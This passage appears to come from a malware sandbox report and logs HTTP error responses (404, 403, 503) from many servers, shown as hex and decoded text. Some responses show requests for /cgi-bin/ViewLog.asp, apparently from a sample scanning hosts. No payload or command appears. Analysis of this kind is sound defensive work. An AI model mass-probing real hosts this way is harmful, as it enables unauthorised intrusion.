3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 33 30 20 32 36 4f 63 74 32 30 31 38 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">mini_httpd/1.30 26Oct2018</a></address> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Thu, 23 Nov 2023 04:15:48 GMTContent-Type: text/htmlContent-Length: 150Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:15:46 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 23 Nov 2023 04:15:46 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:15:57 GMTContent-Length: 0Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io;Content-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:16:11 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Set-Cookie: FCSESSIONID=9CDF331A8262E9F212B783E50D57FF9A; Path=/; HttpOnlyContent-Type: text/html;charset=UTF-8Content-Length: 2833Date: Thu, 23 Nov 2023 04:16:18 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 1012Date: Thu, 23 Nov 2023 04:16:18 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 32 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 174Content-Encoding: gzipVary: Accept-EncodingServer: CherryPy/8.1.2Date: Thu, 23 Nov 2023 04:16:26 GMTContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:16:28 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:16:28 GMTServer: Boa/0.94.14rc21Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=ISO-8859-1Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 09:16:32 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:16:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 06:16:52 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 07:16:52 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:16:57 GMTServer: Apache/2.4.46 (Win64) OpenSSL/1.1.1iContent-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:37:22 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Thu, 23 Nov 2023 03:17:00 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 341Connection: closeDate: Thu, 23 Nov 2023 04:17:09 GMTServer: lighttpd/1.4.59Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 1012Date: Thu, 23 Nov 2023 04:17:11 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 32 39 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 